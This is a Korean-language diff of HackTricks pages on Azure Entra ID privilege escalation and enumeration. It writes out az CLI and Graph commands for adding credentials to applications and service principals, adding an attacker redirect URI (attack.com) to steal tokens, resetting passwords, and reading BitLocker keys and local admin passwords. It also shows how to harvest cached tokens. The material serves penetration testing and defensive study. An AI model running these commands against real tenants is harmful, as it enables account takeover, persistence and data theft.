- 사용자가 브라우저로 Azure에 로그인한 상태라면, 이 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)에 따르면 인증 플로우를 **redirect to localhost**로 시작 브라우저가 자동으로 로그인 승인하게 만들 refresh token을 받을 수 있습니다. 단, localhost 리디렉트 허용는 FOCI 애플리케이션(예: az cli나 powershell module)은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 합니다
- 블로그에서 설명 다른 방법은 도구 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow)를 사용하는 것이며, 이 도구는 어떤 애플리케이션이든 사용할 수 있습니다. 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 refresh token을 가져오는 방식이며 redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`를 사용합니다
- **`AzureRmContext.json`**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 포함되어 있다(하지만 자격 증명은 없음)
- **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 내부에는 여러 `.bin` 파일이 있으며, **access tokens**, ID tokens 및 계정 정보가 사용자 DPAPI로 암호화되어 있다.
- `C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\` 내부`.tbres` 파일들에서 DPAPI로 암호화된 base64 형태의 access tokens를 더 찾을 수 있다.
- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 실행하면 **access tokens, refresh tokens and id tokens**를 얻을 수 있다.
- Windows에서는 이 id tokens만 생성한다.
- Linux 및 macOS에서 Az PowerShell 사용 여부는 `$HOME/.local/share/.IdentityService/`의 존재로 확인할 수 있다(단 포함된 파일들은 비어 있 쓸모없음).
- 사용자가 **logged inside Azure with the browser** 상태라면, 이 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)에 따르면 인증 흐름을 **redirect to localhost**로 시작하고 브라우저가 자동으로 로그인 승인을 하도록 만들 refresh token을 받을 수 있다. 단, az cli나 powershell module과 같이 localhost 리디렉트 허용는 FOCI 애플리케이션은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 한다.
- 블로그에서 설명 다른 옵션은 도구 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow)를 사용하는 것이다. 이 도구는 어떤 애플리케이션이든 사용할 수 있는데, 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 그 코드로 refresh token을 가져오기 때문이다. 리디렉트 URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## 참고자료
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> **Entra ID**에 내장된 모든 세 권한이 **사용자 정 역할**에 사용될 수 있는 것은 아니다.
> Entra ID의 내장 역할들이 가진 **모든 세분화된 권한이** 사용자 정 역할에서 **사용 가능한 것은 아니다.**
## Roles
## 역할
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### 역할: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
이 역할은 주체에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세 권한을 포함합니다. 두 가지 작업 모두 권한 상승을 위해 악용될 수 있습니다.
이 역할은 주체(principals)에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세분화된 권한을 포함하고 있습니다. 이 두 작업은 권한 상승으로 악용될 수 있습니다.
- 사용자에게 역할 할당:
```bash
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
## Applications
## 애플리케이션
### `microsoft.directory/applications/credentials/update`
것은 공격자 기존 애플리케이션에 **자격 증명**(비밀번호 또는 인증서)을 추가할 수 있게 해줍니다. 애플리케이션에 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하 그 권한을 얻을 수 있습니다.
를 통해 공격자 기존 애플리케이션에 **add credentials** (passwords or certificates)를 추가할 수 있니다. 애플리케이션에 privileged permissions가 있다면, 공격자는 해당 애플리케이션으로 인증하 그 권한을 획득할 수 있습니다.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
`applications/credentials/update`와 동일한 작업을 허용하지만 단일 디렉터리 애플리케이션에 한정됩니다.
권한`applications/credentials/update`와 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 제한됩니다.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
자신을 소유자로 추가함으로써 공격자는 애플리케이션을 조작할 수 있으며, 여기에는 자격 증명 및 권한이 포함됩니다.
자신을 owner로 추가하면, 공격자는 자격 증명과 권한을 포함한 애플리케이션을 조작할 수 있습니다.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,155 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 사용자가 아무것도 수락할 필요 없이 자동으로 이루어집니다.
공격자는 tenant의 사용자들이 사용 중인 applications에 redirect URI를 추가한 , 새 redirect URL을 사용하는 login URLs를 공유하여 그들의 tokens를 탈취할 수 있습니다. 사용자가 이미 해당 application에 로그인되어 있는 경우에는, 사용자가 아무것도 승인할 필요 없이 authentication이 자동으로 이루어집니다.
또한 애플리케이션이 요청하는 권한을 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 사용자는 모든 권한을하는 프롬프트를 다시 수락해야 합니다.
또한 더 많은 권한을 얻기 위해 application이 요청하는 permissions를 변경하는 것도 가능하지만, 이 경우 사용자는 모든 permissions를하는 prompt를 다시 수락해야 합니다.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## Service Principals
### 애플리케이션 권한 상승
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 기본 애플리케이션에 유형이 **`Application`**인 **API permissions**이 할당되어 있는 경우를 흔히 볼 수 있습니다.
Entra ID 콘솔에서 부르는 API Permission 유형 중 **`Application`**은 애플리케이션이 사용자 컨텍스트(앱에 사용자가 로그인하지 않은 상태) 없이 API에 접근하고 작업을 수행할 수 있으며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않다는 뜻입니다. 따라서 거의 모든 Entra ID 테넌트에서 **권한이 높은 애플리케이션을 찾는 것이 매우 흔합니다**.
그런 다음, 공격자가 애플리케이션의 자격 증명(secret o certificate)을 업데이트할 수 있는 권한/역할을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용해 **authenticate as the application**하여 해당 애플리케이션이 가진 모든 권한을 획득할 수 있습니다.
언급된 블로그는 일부 Microsoft 기본 애플리케이션의 **API permissions**를 공유했으나, 이 보고서 이후 Microsoft는 이 문제를 수정하여 이제 Microsoft 애플리케이션으로 로그인하는 것이 불가능합니다. 그러나 여전히 악용될 수 있는 **권한이 높은 custom applications**를 찾을 수 있습니다.
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>non-Microsoft APIs에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## 서비스 주체
### `microsoft.directory/servicePrincipals/credentials/update`
은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다.
권한은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 니다. 해당 서비스 주체가 권한이 상승된 경우 공격자는 그 권한을 획득할 수 있습니다.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 새로 생성된 비밀번호는 웹 콘솔에 나타나지 않으므로, 이는 서비스 주체에 대한 지속성을 유지하는 은밀한 방법이 될 수 있습니다.\
> API에서 다음과 같이 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> 새로 생성된 비밀번호는 웹 콘솔에 표시되지 않으므로, 이는 service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.\
> API에서 다음 명령으로 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
만약 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`라는 오류가 발생하면, **SP의 passwordCredentials 속성을 수정할 수 없기 때문입니다**. 먼저 이를 잠금 해제해야 합니다. 이를 위해서는 다음을 실행할 수 있는 권한(`microsoft.directory/applications/allProperties/update`)이 필요합니다:
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
것은 공격자 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있면, 공격자는 그 권한을 가질 수 있습니다.
권한을 통해 공격자 기존 service principals에 credentials를 추가할 수 있습니다. 해당 service principal이 elevated privileges를 가지고 있면, 공격자는 그 권한을 획득할 수 있습니다.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체를 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
애플리케이션과 유사하게, 이 권한은 service principal에 더 많은 owners를 추가할 수 있게 니다. service principal을 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +243,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 로운 소유자를 추가한 후, 이를 제거하려지만 API DELETE 메서드 지원지 않는다고 응답했습니다. 소유자를 삭제하는 데 필요한 메서드임에도 불구하고 말이죠. 그래서 **현재 소유자를 제거할 수 없습니다**.
> owner를 추가한 제거하려 했으나 API DELETE 메서드 지원지 않는다고 응답했습니다. DELETE가 owner를 삭제하는 데 사용해야 하는 메서드임에도 불구하고. 그래서 **요즘은 소유자(owner)를 제거할 수 없습니다**.
### `microsoft.directory/servicePrincipals/disable` `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 접근할 수 있는 서비스 주체를 활성화하여 권한 상승시킬 수 있습니다.
이 권한service principals를 비활성화(disable)하고 활성화(enable)할 수 있게 니다. 공격자는 이 권한을 이용해 어떤 식으로든 접근할 수 있는 service principal을 활성화하여 권한 상승을 시도할 수 있습니다.
이 기술을 사용하기 위해 공격자 활성화된 서비스 주체를 장악하기 위해 더 많은 권한이 필요하다는 점에 유의하세요.
이 기법에서는 공격자 활성화된 service principal을 인수하기 위해 추가적인 권한이 필요하다는 점에 유의하세요.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +259,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
이 권한은 단일 로그인에 대한 자격 증명을 생성하고 가져올 수 있게 하 타사 애플리케이션에 대한 액세스를 허용할 수 있습니다.
이 권한싱글 사인온(SSO)용 자격 증명을 생성하고 가져올 수 있게 하며, 이를 통해 타사 애플리케이션에 대한 접근이 가능해질 수 있습니다.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,44 +279,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### 애플리케이션 권한 상승
**[이 게시물](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)에서 설명한 바와 같이** 기본 애플리케이션에서 **API 권한** 유형 **`Application`**이 할당된 경우를 찾는 것은 매우 일반적입니다. **`Application`** 유형의 API 권한(Entra ID 콘솔에서 호출됨)은 애플리케이션이 사용자 컨텍스트(사용자가 앱에 로그인하지 않고) 없이 API에 접근할 수 있음을 의미하며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않습니다. 따라서 **모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것은 매우 일반적입니다**.
따라서 공격자가 **애플리케이션의 자격 증명(비밀 또는 인증서)을 업데이트할 수 있는 권한/역할**을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용하여 **애플리케이션으로 인증**할 수 있으며, 애플리케이션이 가진 모든 권한을 얻을 수 있습니다.
언급된 블로그는 일반적인 Microsoft 기본 애플리케이션의 **API 권한**을 공유하지만, 이 보고서 이후 Microsoft는 이 문제를 수정하였고 이제는 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 **악용될 수 있는 높은 권한을 가진 사용자 정의 애플리케이션을 찾는 것은 가능합니다**.
---
## 그룹
### `microsoft.directory/groups/allProperties/update`
이 권한은 사용자에게 특권 그룹에 추가할 수 있는 권한을 부여하여 권한 상승을 초래합니다.
이 권한은 사용자를 관리자 권한이 있는 그룹에 추가할 수 있게 하여 권한 상승으로 이어질 수 있습니다.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**참고**: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다.
**참고**: 이 권한은 Entra ID 역할 할당 가능 그룹(role-assignable groups)을 제외합니다.
### `microsoft.directory/groups/owners/update`
이 권한 그룹의 소유자가 될 수 있게 해줍니다. 그룹 소유자는 그룹 구성원 및 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 권한을 상승시킬 수 있습니다.
이 권한을 통해 그룹의 소유자가 될 수 있니다. 그룹 소유자는 그룹 멤버십과 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 privilege escalation을 초래할 수 있습니다.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**참고**: 이 권한은 Entra ID 역할 할당 가능 그룹을 제외합니다.
**참고**: 이 권한은 Entra ID role-assignable groups를 제외합니다.
### `microsoft.directory/groups/members/update`
이 권한은 그룹에 구성원을 추가할 수 있게 해줍니다. 공격자는 자신이나 악의적인 계정을 특권 그룹에 추가하여 상승된 접근 권한을 부여할 수 있습니다.
이 권한은 그룹에 멤버를 추가할 수 있게 니다. An attacker는 자신이나 악 계정을 privileged groups에 추가하여 권한을 상승시킬 수 있습니다.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 해줍니다. 공격자는 동적 규칙을 수정하여 명시적 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 니다. 공격자는 동적 규칙을 수정하여 명시적 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -212,11 +319,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**참고**: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다.
**참고**: 이 권한은 Entra ID role-assignable groups를 제외합니다.
### 동적 그룹 권한 상승
### Dynamic Groups Privesc
사용자가 자신의 속성을 수정하여 동적 그룹의 구성원으로 추가 수 있 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요:
사용자가 자신의 속성을 수정하여 dynamic groups의 구성원으로 추가되도록 할 수 있 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
dynamic-groups.md
@@ -226,13 +333,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
이 권한은 비관리자 사용자에게 비밀번호를 재설정할 수 있게 하여 잠재적 공격자가 다른 사용자에게 권한을 상승시킬 수 있 합니다. 이 권한은 사용자 정 역할에 할당할 수 없습니다.
이 권한은 비관리자 사용자의 암호를 재설정할 수 있게 하여, 잠재적 공격자가 다른 사용자 권한을 상승시킬 수 있도록 합니다. 이 권한은 사용자 정 역할에 할당할 수 없습니다.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
이 권한은 사용자의 속성을 수정할 수 있니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 찾는 것이 일반적이므로, 이 권한 사용자가 특정 동적 그룹의 구성원이 되기 위해 필요한 속성 값을 설정하고 권한을 상승시킬 수 있게 할 수 있습니다.
이 권한은 사용자의 속성을 수정할 수 있게 합니다. 속성 값에 따라 사용자를 추가하는 dynamic groups를 찾는 경우가 흔하므로, 이 권한을 통해 사용자가 특정 dynamic group의 멤버가 되기 위해 필요한 속성 값을 설정하고 escalate privileges할 수 있습니다.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,9 +355,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## 조건부 액세스 정책 및 MFA 우회
## Conditional Access Policies & MFA bypass
잘못 구성된 MFA를 요구하는 조건부 액세스 정책은 우회될 수 있습니다. 확인하세요:
잘못 구성된 conditional access policies가 MFA를 요구하도록 설정된 경우 우회될 수 있습니다. 확인:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +367,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
이 권한은 공격자가 장치의 소유자로 자신을 할당하여 장치 특정 설정 및 데이터에 대한 제어 또는 액세스를 얻을 수 있게 합니다.
이 권한은 공격자가 자신을 디바이스의 소유자로 지정하여 디바이스 관련 설정 및 데이터에 대한 제어 또는 접근 권한을 얻을 수 있게 합니다.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +378,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
이 권한은 공격자가 자신의 계정을 장치와 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 해줍니다.
이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 니다.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +389,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
이 권한은 공격자가 Microsoft Entra에 가입된 장치의 백업된 로컬 관리자 계정 자격 증명의 속성을 읽을 수 있도록 하며, 여기에는 비밀번호가 포함됩니다.
이 권한은 attackers가 Microsoft Entra joined devices에 대해 백업된 local administrator account credentials의 속성(password 포함)을 읽을 수 있도록 허용합니다.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +404,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 위협할 수 있게 합니다.
이 권한은 BitLocker 키에 접근할 수 있도록 허용하며, 공격자가 드라이브를 복호화하여 데이터 기밀성이 침해될 수 있니다.
```bash
# List recovery keys
az rest --method GET \
@@ -308,7 +415,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## 다른 흥미로운 권한 (TODO)
## 다른 흥미로운 권한 (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`

View File

@@ -1,12 +1,12 @@
# Az - Entra ID (AzureAD) & Azure IAM
# Az - Entra ID (AzureAD) Azure IAM
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
Azure Active Directory (Azure AD)는 identity 및 access 관리를 위한 Microsoft의 클라우드 기반 서비스입니다. 직원들이 Microsoft 365, Azure portal 및 다양한 다른 SaaS 애플리케이션을 포함해 조직 내부와 외부의 리소스에 로그인하고 접근할 수 있도록 지원합니다. Azure AD의 설계는 주로 **인증, 권한 부여, 사용자 관리**와 같은 필수적인 아이덴티티 서비스를 제공하는 데 점을 맞춥니다.
Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 신원 및 접근 관리 서비스입니다. 직원들이 조직 내부 및 외부의 리소스(예: Microsoft 365, the Azure portal 및 다양한 다른 SaaS 애플리케이션)에 로그인하고 액세스할 수 있도록 하는 데 핵심적인 역할을 합니다. Azure AD의 설계는 특히 **인증, 권한 부여, 사용자 관리**와 같은 필수 신원 서비스를 제공하는 데 점을 니다.
Azure AD의 주요 기능으로**다단계 인증** 및 **조건부 액세스** 다른 Microsoft 보안 서비스와의 원활한 통합이 포함됩니다. 이러한 기능은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있 합니다. Microsoft의 클라우드 서비스 생태계 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리에 있어 중요한 역할을 합니다.
Azure AD의 주요 기능**다단계 인증** 및 **조건부 액세스**가 있으며, 다른 Microsoft 보안 서비스와의 원활한 통합을 지원합니다. 이러한 기능은 사용자 신원의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계에서 기본 구성 요소로서 Azure AD는 사용자 신원의 클라우드 기반 관리에 매우 중요합니다.
## 열거
@@ -185,13 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, **Microsoft** 소속의 **tenant**에서 온 **Azure Application**을 사용하게 됩니다.
어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, 당신은 **Microsoft**에 속한 **tenant** **Azure Application**을 사용하고 있는 것입니다. 계정에서 생성할 수 있는 것들과 마찬가지로, 이러한 Applications은 **client id를 가지고 있습니다**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 그들을 **모두 볼 수는 없습니다**, **하지만 기본적으로 허용되어 있습니다**.
계정에서 생성할 수 있는 것들과 마찬가지로 이러한 Applications**have a client id**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 이들 모두를 **won't be able to see all of them** 수 있지만, **but they are allowed by default**.
예를 들어, **authenticates**하는 **powershell script**는 client id**`1950a258-227b-4e31-a9cf-717495945fc2`**인 앱을 사용합니다. 앱이 콘솔에 나타나지 않더라도, sysadmin은 **해당 application을 차단**할 수 있어 사용자가 그 App을 통해 연결되는 도구로 접근하지 못하게 만들 수 있습니다.
예를 들어 **authenticates**하는 **powershell script**는 클라이언트 id가 **`1950a258-227b-4e31-a9cf-717495945fc2`**인 app을 사용합니다. 해당 app이 콘솔에 표시되지 않더라도, sysadmin은 **block that application**하여 사용자가 해당 App을 통해 연결하는 도구로 접근하는 것을 막을 수 있습니다.
하지만 **other client-ids**를 가진 애플리케이션들 중 **will allow you to connect to Azure** 하는 것들이 있습니다:
하지만 **다른 client-ids**를 가진 애플리케이션들이 **Azure에 연결할 수 있게 해줍니다**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -229,7 +227,7 @@ az account tenant list
### 사용자
Entra ID 사용자에 대한 자세한 내용은 다음을 참조하세요:
Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-basic-information/
@@ -366,15 +364,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA Conditional Access Policies
### MFA & Conditional Access Policies
모든 사용자에게 MFA를 추가하는 것 강력히 권장니다. 하지만 일부 회사는 이를 설정하지 않거나 Conditional Access로 설정할 수 있습니다: 사용자가 특정 위치, 브라우저 또는 **어떤 조건**에서 로그인하면 **MFA가 요구됩니다**. 이러한 정책은 올바르게 구성되지 않으면 **우회**될 수 있습니다. 확인:
모든 사용자에게 MFA를 추가하는 것 강력히 권장니다. 하지만 일부 조직은 이를 설정하지 않거나 Conditional Access로 구성하여, 사용자가 특정 위치 브라우저에서 로그인하거나 특정 조건을 만족할 때 **required MFA if**가 적용되도록 할 수 있습니다. 이러한 정책은 올바르게 구성되지 않으면 **bypasses**에 취약할 수 있습니다. 확인해 보세요:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### 그룹
### Groups
Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요:
